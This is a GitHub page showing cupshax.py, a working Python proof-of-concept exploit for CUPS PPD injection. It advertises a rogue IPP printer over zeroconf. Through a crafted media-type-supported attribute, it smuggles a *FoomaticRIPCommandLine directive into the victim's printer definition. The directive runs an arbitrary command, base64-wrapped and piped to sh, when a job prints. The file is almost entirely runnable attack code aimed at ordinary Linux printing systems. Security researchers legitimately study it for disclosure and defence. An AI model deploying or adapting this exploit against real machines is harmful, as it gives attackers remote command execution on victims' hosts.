-
Notifications
You must be signed in to change notification settings - Fork 58
/
Copy pathcupshax.py
275 lines (252 loc) · 9.33 KB
/
cupshax.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
from uuid import uuid4
from threading import Thread
import argparse
import socket
from base64 import b64encode
from zeroconf import ServiceInfo, Zeroconf
from ippserver.behaviour import StatelessPrinter
from ippserver.server import IPPServer, IPPRequestHandler
from ippserver.constants import SectionEnum, TagEnum, OperationEnum
from ippserver.parsers import Enum, Boolean, Integer
class Discovery:
def __init__(self, printer_name, ip_address, port):
self.printer_name = printer_name
self.printer_name_slug = Discovery.slugify_name(printer_name)
self.ip_address = ip_address
self.port = port
self.zeroconf = None
def slugify_name(name):
return "".join([c if c.isalnum() else "_" for c in name])
def create_ipp_printer_service(self):
# IPP over TCP (standard IPP service)
service_type = "_ipp._tcp.local."
service_name = f"{self.printer_name_slug}._ipp._tcp.local."
# TXT records with IPP and localization attributes
txt_records = {
"txtvers": "1", # TXT record version
"qtotal": "1", # Number of print queues
"rp": f"printers/hax", # Resource path
"ty": self.printer_name,
# Supported PDLs (PostScript, PDF)
"pdl": "application/postscript,application/pdf",
# Printer admin URL
"adminurl": f"http://{self.ip_address}:{self.port}",
"UUID": str(uuid4()), # Unique identifier
# IPP printer type (e.g., 0x800683 for color, duplex, etc.)
"printer-type": "0x800683",
}
service_info = ServiceInfo(
service_type,
service_name,
addresses=[socket.inet_aton(self.ip_address)],
port=self.port,
properties=txt_records,
server=f"{self.printer_name_slug}.local.",
)
return service_info
def register(self):
self.zeroconf = Zeroconf()
self.service_info = self.create_ipp_printer_service()
self.zeroconf.register_service(self.service_info)
def close(self):
if self.zeroconf is None:
return
self.zeroconf.unregister_service(self.service_info)
self.zeroconf.close()
def __del__(self):
self.close()
class HaxPrinter(StatelessPrinter):
def __init__(self, command, name):
self.cups_filter = '*cupsFilter2: "application/vnd.cups-pdf application/pdf 0 foomatic-rip"'
self.foomatic_rip = f'*FoomaticRIPCommandLine: {command} #'
self.name = name
super(HaxPrinter, self).__init__()
def minimal_attributes(self):
return {
# This list comes from
# https://tools.ietf.org/html/rfc2911
# Section 3.1.4.2 Response Operation Attributes
(
SectionEnum.operation,
b'attributes-charset',
TagEnum.charset
): [b'utf-8'],
(
SectionEnum.operation,
b'attributes-natural-language',
TagEnum.natural_language
): [b'en'],
}
def printer_list_attributes(self):
attr = {
# rfc2911 section 4.4
(
SectionEnum.printer,
b'printer-uri-supported',
TagEnum.uri
): [self.printer_uri],
(
SectionEnum.printer,
b'uri-authentication-supported',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'uri-security-supported',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'printer-info',
TagEnum.text_without_language
): [b'Printer using ipp-printer.py'],
(
SectionEnum.printer,
b'printer-make-and-model',
TagEnum.text_without_language
): [f'{self.name} 0.00'.encode()],
(
SectionEnum.printer,
b'printer-state',
TagEnum.enum
): [Enum(3).bytes()], # XXX 3 is idle
(
SectionEnum.printer,
b'printer-state-reasons',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'ipp-versions-supported',
TagEnum.keyword
): [b'1.1'],
(
SectionEnum.printer,
b'operations-supported',
TagEnum.enum
): [
Enum(x).bytes()
for x in (
OperationEnum.print_job, # (required by cups)
OperationEnum.validate_job, # (required by cups)
OperationEnum.cancel_job, # (required by cups)
OperationEnum.get_job_attributes, # (required by cups)
OperationEnum.get_printer_attributes,
)],
(
SectionEnum.printer,
b'multiple-document-jobs-supported',
TagEnum.boolean
): [Boolean(False).bytes()],
(
SectionEnum.printer,
b'charset-configured',
TagEnum.charset
): [b'utf-8'],
(
SectionEnum.printer,
b'charset-supported',
TagEnum.charset
): [b'utf-8'],
(
SectionEnum.printer,
b'natural-language-configured',
TagEnum.natural_language
): [b'en'],
(
SectionEnum.printer,
b'generated-natural-language-supported',
TagEnum.natural_language
): [b'en'],
(
SectionEnum.printer,
b'document-format-default',
TagEnum.mime_media_type
): [b'application/pdf'],
(
SectionEnum.printer,
b'document-format-supported',
TagEnum.mime_media_type
): [b'application/pdf'],
(
SectionEnum.printer,
b'printer-is-accepting-jobs',
TagEnum.boolean
): [Boolean(True).bytes()],
(
SectionEnum.printer,
b'queued-job-count',
TagEnum.integer
): [b'\x00\x00\x00\x00'],
(
SectionEnum.printer,
b'pdl-override-supported',
TagEnum.keyword
): [b'not-attempted'],
(
SectionEnum.printer,
b'printer-up-time',
TagEnum.integer
): [Integer(self.printer_uptime()).bytes()],
(
SectionEnum.printer,
b'compression-supported',
TagEnum.keyword
): [b'none'],
(
SectionEnum.printer,
b'printer-name',
TagEnum.name_without_language
): [self.name.encode()],
(
SectionEnum.printer,
b'media-default',
TagEnum.keyword
): [b'iso_a4_210x297mm'],
(
SectionEnum.printer,
b'media-supported',
TagEnum.keyword
): [b'iso_a4_210x297mm'],
(
SectionEnum.printer,
b'media-type',
TagEnum.keyword
): [b'stationery'],
(
SectionEnum.printer,
b'media-type-supported',
TagEnum.keyword
): [b'stationery', f': HAX\n{self.foomatic_rip}\n{self.cups_filter}\n*%'.encode()],
}
return attr
def handle_postscript(self, _ipp_request, _postscript_file):
pass
def parse_args():
parser = argparse.ArgumentParser(description="CUPSHax: A CUPS PPD injection PoC")
parser.add_argument("--name", default="RCE Printer", help="The name to use (default: RCE Printer)")
parser.add_argument("--ip", required=True, help="The IP address of the machine running this script")
parser.add_argument("--command", default="touch /tmp/pwn", help="The command to execute (default: 'touch /tmp/pwn')")
parser.add_argument("--port", type=int, default=8631, help="The port to connect on (default: 8631)")
parser.add_argument("--base64", action=argparse.BooleanOptionalAction, default=True, help="Wrap the command in base64 (default: enabled)")
return parser.parse_args()
def main():
args = parse_args()
command = args.command
if args.base64:
print("[+] Wrapping command in base64...")
command = f"echo {b64encode(command.encode()).decode()}|base64 -d|sh"
print(f"[+] Command: {command}")
printer = HaxPrinter(command, args.name)
discovery = Discovery(args.name, args.ip, args.port)
# Start a discovery thread
discovery_thread = Thread(target=discovery.register)
discovery_thread.start()
server = IPPServer((args.ip, args.port), IPPRequestHandler, printer)
try:
print(f"[+] Starting IPP server on {args.ip}:{args.port}...")
server.serve_forever()
except KeyboardInterrupt:
print("[+] Stopping script...")
if __name__ == "__main__":
main()